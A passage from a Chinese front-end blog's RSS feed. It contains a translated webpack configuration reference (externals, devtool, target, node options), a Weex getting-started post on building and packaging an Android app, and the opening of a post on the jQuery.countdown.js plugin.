result))。函数会在每个依赖中调用。如果结果被传递到回调函数里，这个值就会被像处理对象属性值那样处理。</p><p>正则表达式：每个被匹配的依赖都会成为外部依赖。匹配的文本会被用作外部依赖的请求。因为请求是用于生成外部代码钩子的确切代码，如果你匹配到一个cmd的包(比如 &lsquo;../some/package.js&rsquo;),相反使用外部function的策略。你可以通过callback(null, &ldquo;require(&lsquo;&rdquo; + request + &ldquo;&rsquo;)&rdquo;引入包，这个包生成module.exports = require(&lsquo;../some/package.js&rsquo;);使用要求在webpack上下文外。</p><p>数组：这个表的多个值(递归)</p><pre class="prettyprint"><code class="hljs coffeescript has-numbering">{     <span class="hljs-attribute">output</span>: { <span class="hljs-attribute">libraryTarget</span>: <span class="hljs-string">&quot;commonjs&quot;</span> },     <span class="hljs-attribute">externals</span>: [         {             <span class="hljs-attribute">a</span>: <span class="hljs-literal">false</span>, <span class="hljs-regexp">//</span> a <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> external             <span class="hljs-attribute">b</span>: <span class="hljs-literal">true</span>, <span class="hljs-regexp">//</span> b <span class="hljs-keyword">is</span> external (<span class="hljs-built_in">require</span>(<span class="hljs-string">&quot;b&quot;</span>))             <span class="hljs-string">&quot;./c&quot;</span>: <span class="hljs-string">&quot;c&quot;</span>, <span class="hljs-regexp">//</span> <span class="hljs-string">&quot;./c&quot;</span> <span class="hljs-keyword">is</span> external (<span class="hljs-built_in">require</span>(<span class="hljs-string">&quot;c&quot;</span>))             <span class="hljs-string">&quot;./d&quot;</span>: <span class="hljs-string">&quot;var d&quot;</span> <span class="hljs-regexp">//</span> <span class="hljs-string">&quot;./d&quot;</span> <span class="hljs-keyword">is</span> external (d)         },         <span class="hljs-regexp">//</span> Every non-relative <span class="hljs-built_in">module</span> <span class="hljs-keyword">is</span> external         <span class="hljs-regexp">//</span> abc<span class="hljs-function"> -&gt;</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">&quot;abc&quot;</span>)         <span class="hljs-regexp">/^[a-z\-0-9]+$/</span>,         <span class="hljs-reserved">function</span>(context, request, callback) {             <span class="hljs-regexp">//</span> Every <span class="hljs-built_in">module</span> prefixed <span class="hljs-reserved">with</span> <span class="hljs-string">&quot;global-&quot;</span> becomes external             <span class="hljs-regexp">//</span> <span class="hljs-string">&quot;global-abc&quot;</span><span class="hljs-function"> -&gt;</span> abc             <span class="hljs-keyword">if</span>(<span class="hljs-regexp">/^global-/</span>.test(request))                 <span class="hljs-keyword">return</span> callback(<span class="hljs-literal">null</span>, <span class="hljs-string">&quot;var &quot;</span> + request.substr(<span class="hljs-number">7</span>));             callback();         },         <span class="hljs-string">&quot;./e&quot;</span> <span class="hljs-regexp">//</span> <span class="hljs-string">&quot;./e&quot;</span> <span class="hljs-keyword">is</span> external (<span class="hljs-built_in">require</span>(<span class="hljs-string">&quot;./e&quot;</span>))     ] }</code></pre><table>    <thead>        <tr>            <th>type</th>            <th>value</th>            <th>resulting import code</th>        </tr>    </thead>    <tbody>        <tr>            <td>&ldquo;var&rdquo;</td>            <td>&ldquo;abc&rdquo;</td>            <td>module.exports = abc;</td>        </tr>        <tr>            <td>&ldquo;var&rdquo;</td>            <td>&ldquo;abc.def&rdquo;</td>            <td>module.exports = abc.def;</td>        </tr>        <tr>            <td>&ldquo;this&rdquo;</td>            <td>&ldquo;abc&rdquo;</td>            <td>(function() { module.exports = this[&ldquo;abc&rdquo;]; }());</td>        </tr>        <tr>            <td>&ldquo;this&rdquo;</td>            <td>[&ldquo;abc&rdquo;, &ldquo;def&rdquo;]</td>            <td>(function() { module.exports = this[&ldquo;abc&rdquo;][&ldquo;def&rdquo;]; }());</td>        </tr>        <tr>            <td>&ldquo;commonjs&rdquo;</td>            <td>&ldquo;abc&rdquo;</td>            <td>module.exports = reqaluire(&ldquo;abc&rdquo;);</td>        </tr>        <tr>            <td>&ldquo;commonjs&rdquo;</td>            <td>[&ldquo;abc&rdquo;, &ldquo;def&rdquo;]</td>            <td>module.exports = require(&ldquo;abc&rdquo;).def;</td>        </tr>        <tr>            <td>&ldquo;amd&rdquo;</td>            <td>&ldquo;abc&rdquo;</td>            <td>define([&ldquo;abc&rdquo;], function(X) { module.exports = X; })</td>        </tr>        <tr>            <td>&ldquo;umd&rdquo;</td>            <td>&ldquo;abc&rdquo;</td>            <td>everything above</td>        </tr>    </tbody></table><p>如果没有作为amd/umd的目标解析，将会用一个external 值强制执行amd或者umd。</p><blockquote><p>注意，如果用umd你可以指定一个对象的额外值，属性为 commonjs, commonjs2, amd和root会被设置不同的值。</p></blockquote><h4 id="target">target</h4><ul>    <li>&ldquo;web&rdquo; 在浏览器中使用的编译环境（默认值）</li>    <li>&ldquo;webworker&rdquo; 被作为webworker编译</li>    <li>&ldquo;node&rdquo; 在nodejs环境下编译(用require加载chunks)</li>    <li>&ldquo;async-node&rdquo; 在nodejs环境下编译(用fs和vm异步加载chunks)</li>    <li>&ldquo;node-webkit&rdquo; 在webkit下使用jsonp加载chunk，也支持在node中加入require(&ldquo;nw.gui&rdquo;) （实验性质）</li>    <li>&ldquo;electron&rdquo; 为 Electron 编译。</li>    <li>&ldquo;electron-renderer&rdquo; 为 Electron 渲染进程编译。</li></ul><h4 id="bail">bail</h4><p>报告第一个错误为硬性错误，不可忽略。</p><h4 id="profile">profile</h4><p>定时在每个模块捕捉信息。</p><blockquote><p>提示，用analyze tool让它可视化，&ndash;json 或者 stats.toJson()会给你JSON的统计。</p></blockquote><h4 id="cache">cache</h4><p>缓存生成模块和和chunks来提高混合增l量编译时的性能。&nbsp;<br />启用watch模式会默认启动它。&nbsp;<br />可以传入 false禁用它。&nbsp;<br />你可以传递一个对象启用它并且让webpack把传递的对象作为缓存。用这种办法，你可以在混合编译器的编译回调中共享缓存。注意：不要在多配置的回调中共享缓存。</p><h4 id="debug">debug</h4><p>把loader的模式切到debug。</p><h4 id="devtool">devtool</h4><p>选一个开发工具来加快调试</p><ul>    <li><code>eval</code>&nbsp;每个模块都用eval执行</li>    <li><code>source-map</code>&nbsp;触发SourceMap，详情看output.sourceMapFilename</li>    <li><code>hidden-source-map</code>&nbsp;同上，但不会在包中添加引用注释。</li>    <li><code>inline-source-map</code>&nbsp;SourceMap被作为dataurl加入到js文件中。</li>    <li><code>eval-source-map</code>&nbsp;每个模块都用eval执行，并且SourceMap被作为dataurl加入到eval中。</li>    <li><code>cheap-source-map</code>&nbsp;没有映射的sourcemap，loaders的sourcemap不会启用。</li>    <li>    <p><code>cheap-module-source-map</code>&nbsp;没有映射的sourcemap，sourcemap就简单的映射到每一行。</p>    <p>@,#或者#@前缀 将强行显示编译指示。（webpack@1版本中默认用@，webpack@2版本中默认用#，建议用#）&nbsp;<br />    例如：&nbsp;<code>cheap-module-inline-source-map, cheap-eval-source-map, #@source-map</code></p>    <blockquote>    <p>如果你的模块已经包含了sourcemap，你需要用source-map-loader合并被触发的sourcemap</p>    </blockquote></li></ul><table>    <thead>        <tr>            <th>devtool</th>            <th>打包速度</th>            <th>二次打包速度</th>            <th>是否建议生产中使用</th>            <th>特点｜</th>        </tr>    </thead>    <tbody>        <tr>            <td>eval</td>            <td>+++</td>            <td>+++</td>            <td>否</td>            <td>生成代码</td>        </tr>        <tr>            <td>cheap-eval-source-map</td>            <td>+</td>            <td>++</td>            <td>否</td>            <td>转化代码（一行）</td>        </tr>        <tr>            <td>cheap-source-map</td>            <td>+</td>            <td>o</td>            <td>是</td>            <td>转化代码（一行）</td>        </tr>        <tr>            <td>cheap-module-eval-source-map</td>            <td>o</td>            <td>++</td>            <td>否</td>            <td>源码（一行）</td>        </tr>        <tr>            <td>cheap-module-source-map</td>            <td>o</td>            <td>-</td>            <td>是</td>            <td>源码（一行）</td>        </tr>        <tr>            <td>eval-source-map</td>            <td>-</td>            <td>+</td>            <td>否</td>            <td>源码</td>        </tr>        <tr>            <td>source-map</td>            <td>-</td>            <td>-</td>            <td>是</td>            <td>源码</td>        </tr>    </tbody></table><p>例如：</p><pre class="prettyprint"><code class="hljs cs has-numbering">{     devtool: <span class="hljs-string">&quot;#inline-source-map&quot;</span> } <span class="hljs-comment">// =&gt;</span> <span class="hljs-comment">//# sourceMappingURL=...</span></code></pre><blockquote><p>注意，下一个大的版本默认加-d，将会变为cheap-module-eval-source-map。</p></blockquote><h4 id="devserver">devServer</h4><p>当这个webpack config 传给webpack-dev-server命令行时，这个选项用来 配置 webpack-dev-server的一些行为。&nbsp;<br />例如</p><pre class="prettyprint"><code class="hljs css has-numbering"><span class="hljs-rules">{     <span class="hljs-rule"><span class="hljs-attribute">devServer</span>:<span class="hljs-value"> {         contentBase: <span class="hljs-string">&quot;./build&quot;</span>,     </span></span></span>} }</code></pre><h4 id="node">node</h4><p>为不同节点包含polufills或者mocks。</p><ul>    <li>console: true or false</li>    <li>global: true or false</li>    <li>process: true, &ldquo;mock&rdquo; or false</li>    <li>__filename: true (real filename), &ldquo;mock&rdquo; (&ldquo;/index.js&rdquo;) or false</li>    <li>__dirname: true (real dirname), &ldquo;mock&rdquo; (&ldquo;/&rdquo;) or false</li>    <li>&lt; node buildin &gt;: true, &ldquo;mock&rdquo;, &ldquo;empty&rdquo; or false</li></ul><pre class="prettyprint"><code class="hljs fsharp has-numbering"><span class="hljs-comment">// Default:</span> {    console: <span class="hljs-keyword">false</span>,    <span class="hljs-keyword">global</span>: <span class="hljs-keyword">true</span>,    process: <span class="hljs-keyword">true</span>,    Buffer: <span class="hljs-keyword">true</span>,    __filename: <span class="hljs-string">&quot;mock&quot;</span>,    __dirname: <span class="hljs-string">&quot;mock&quot;</span>,    setImmediate: <span class="hljs-keyword">true</span> }</code></pre><h4 id="amd">amd</h4><p>设置require.amd和 define.amd的值&nbsp;<br />例如：&nbsp;<code>amd:{jquery:true}</code>&nbsp;（为旧的 1.x AMD版本的jQuery）</p><h4 id="loader">loader</h4><p>在loader上下文中可以自定义。</p><h4 id="recordspath-recordsinputpath-recordsoutputpath">recordsPath, recordsInputPath, recordsOutputPath</h4><p>从一个JSON文件中存入或者读取 编译器 state。这将导致 模块或chunk的id持久化。&nbsp;<br />期望是绝对路径，recordsPath 被用于recordsInputPath 和recordsOutputPath，如果他俩未定义。&nbsp;<br />当使用热替换之间的多个调用编译器的时候，这个选项是必须的。</p><h4 id="plugins">plugins</h4><p>向编译器添加额外的插件。</p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2294.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2294</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2294&amp;key=0d268951</trackback:ping></item><item><title>Weex 快速了解和入门 构建高性能的Native APP</title><author>raodaor@163.com (raodaor)</author><link>http://camnpr.com/javascript/2289.html</link><pubDate>Wed, 06 Dec 2017 14:02:21 +0800</pubDate><guid>http://camnpr.com/javascript/2289.html</guid><description><![CDATA[<p>&nbsp;</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><img src="https://p1.pstatp.com/large/2c450000d310db0456a5" _src="https://p1.pstatp.com/large/2c450000d310db0456a5" alt="2c450000d310db0456a5" style="max-width: 100%; display: block; clear: both; margin: 0px auto;" /></p><p class="pgc-img-caption" style="margin: -6px 0px 1em; word-wrap: break-word; text-align: center; line-height: 1.5; color: rgb(153, 153, 153); font-size: 9px; font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun;">求关注​</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">Weex这个名字，已经响亮好久了。如果你是新来的，那么也不算太迟，毕竟它的坑填了不少了。直接用 Weex v2就好。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">那么什么是Weex呢？</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">官方的解释可以到&nbsp;https://weex.apache.org/cn/guide/ 来细看。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">我的理解是：它是一个技术，通过js代码，结合客户端集成的SDK（Weex）、JS引擎来解析你的js文件，渲染出页面。如果你要和客户端的原生交互，只要让Android和IOS开发的人，继承Weex SDK 来写一个module，然后JS前端通过，weex这个变量，来调用写的module，就打通了JS前端和客户端直接的交互。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">其实，Weex就是一个中间桥梁，连接前端和客户端。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">纯H5的应用，不管是效果还是性能，和原生的APP还是差别很大的。 原来，Facebook异想天开的，让H5一统天下（三端通吃：PC、Android、IOS），结结实实的失败告终。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">Hbuilder这种的，比Weex早，不知道现在怎么样了。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">不知道，上边说的，够不够明白。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><img src="https://p1.pstatp.com/large/4aeb00010577dffa1bf8" _src="https://p1.pstatp.com/large/4aeb00010577dffa1bf8" alt="4aeb00010577dffa1bf8" style="max-width: 100%; display: block; clear: both; margin: 0px auto;" /></p><p class="pgc-img-caption" style="margin: -6px 0px 1em; word-wrap: break-word; text-align: center; line-height: 1.5; color: rgb(153, 153, 153); font-size: 9px; font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun;">Weex​</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">​那我们来看一下原生弹窗的大致代码实现吧。（脚手架的项目框架，后边会说）</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><strong>第一：在Vue页面中，Script标签里</strong></p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">// 调用Android自定义的模块</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">const myModule = weex.requireModual(&quot;myModule&quot;);</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">// 调用Weex内置的模块</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">//&nbsp;https://weex.apache.org/cn/references/modules/modal.html</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">const modal = weex.requireModual(&quot;modal&quot;);&nbsp;&nbsp;</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">modal.toast({message: '头条号：那些曾经放任的时光'); // 原生的小浮层提示</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><strong>第二：执行打包（webpack）命令</strong></p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">项目目录下cmd&gt;npm run build</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">打包后在dist目录下生成了2个文件，如图：</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><img src="https://p3.pstatp.com/large/4ae80000fd12325043b4" _src="https://p3.pstatp.com/large/4ae80000fd12325043b4" alt="4ae80000fd12325043b4" style="max-width: 100%; display: block; clear: both; margin: 0px auto;" /></p><p class="pgc-img-caption" style="margin: -6px 0px 1em; word-wrap: break-word; text-align: center; line-height: 1.5; color: rgb(153, 153, 153); font-size: 9px; font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun;">weex打包js bundle</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">如图所示，同一个vue页面，会打包出一个JS Bundle（原生调用的）和一个Web调用的。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><strong>第三步：把js文件拷贝到android/ios项目里。</strong></p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">项目目录里有一个platforms文件夹，一开始是空的。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">你只需要，cmd&gt;weex paltform add android 即可在目录中生成android项目。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">然后，你可以通过 Android Studio 3.0 来打开刚生产的项目。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">把上一步打包的js文件，拷贝到这里，如图所示：</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><img src="https://p2.pstatp.com/large/4ae90000fcd7198caf9f" _src="https://p2.pstatp.com/large/4ae90000fcd7198caf9f" alt="4ae90000fcd7198caf9f" style="max-width: 100%; display: block; clear: both; margin: 0px auto;" /></p><p class="pgc-img-caption" style="margin: -6px 0px 1em; word-wrap: break-word; text-align: center; line-height: 1.5; color: rgb(153, 153, 153); font-size: 9px; font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun;">打开Android Studio项目</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">如上图所示，就完成，JS前端 到 客户端的拷贝流程 （如果客户端是集成环境，只需要把 Weex SDK引入就可以，详情就查阅官方文档）</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;"><strong>第四步：发布APK来预览</strong></p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">在Android Studio里，打开菜单栏的：Build&gt;Build APK(s) 来生产apk安装文件。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">然后，拷贝到手机里，点击安装即可。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">apk是一个Weex playground，即可预览。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">关于，如何通过脚手架构建项目，这里就不细说了。概况如下：</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">安装 weex-toolkit，使用weex命令 weex create projectName</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">至此，就简单介绍完了Weex的一些心得体会，如有不对的，还请告知。</p><p style="margin: 1em 0px; word-wrap: break-word; text-align: justify; line-height: 1.5; color: rgb(93, 93, 93); font-family: helvetica, Arial, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, simsun; font-size: 16px;">如果能够帮忙到你，还请，关注我，点赞，分享，收藏。</p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2289.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2289</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2289&amp;key=f05ae237</trackback:ping></item><item><title>自由组合的倒计时库：jQuery.countdown.js</title><author>camnpr@163.com (码农不是农)</author><link>http://camnpr.com/javascript/2286.html</link><pubDate>Wed, 07 Jun 2017 14:45:16 +0800</pubDate><guid>http://camnpr.com/javascript/2286.html</guid><description><![CDATA[<p>&nbsp;<span style="color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">我们都知道，在一些促销商品上、拍卖、优惠券等，都会有时效性，为了促销吸引眼球，会加一个倒计时来时刻提醒顾客：想买要抓紧了，时间不等人。那么作为前端开发的我们，要怎么来实现这个倒计时呢？</span></p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">首先，这个倒计时功能，一定要友好，具体表现在，可以适用任何布局，不依赖HTML/CSS的限制，有针对性的，适应优惠券、拍卖类型的网站。接下来，才是日期时间的倒序来跑秒。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">源于，jQuery的大量使用，这里，推荐一款它的插件：jQuery.countdown.js。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;"><img src="http://p3.pstatp.com/large/24300001dcbf29f8b26a" img_width="965" img_height="447" alt="一个友好的倒计时库：jQuery.countdown.js" inline="0" style="border: 0px; max-width: 100%; display: block; margin: 10px auto;" /></p><p class="pgc-img-caption" style="margin: 0px 0px 16px; padding: 0px; text-align: center; color: rgb(119, 119, 119); line-height: 16px; font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif;">倒计时插件：jQuery.countdown.js</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">题外话：这个图里的&ldquo;最后&rdquo;，是字面意思，其实是终极、人性化、友好的意思。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;"><span style="font-weight: 700;">那么什么是jQuery.countdown.js呢？</span></p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">它是一个简单的和HTML无关的日期倒计时插件，依赖jQuery1.7+。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">浏览器支持情况：IE7+、Chrome&gt;=12、Safari&gt;=5、FireFox&gt;=5.0，也就是说，基本都支持的。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">它的开发初衷，就是为了适应任何的优惠券、拍卖、商品促销活动。因此，它的使用和呈现灵活度很高。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;"><span style="font-weight: 700;">那么怎么使用它呢？</span></p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">首先，你需要到github上搜索：jQuery.countdown.js，然后引入页面中。如下图说明：</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft 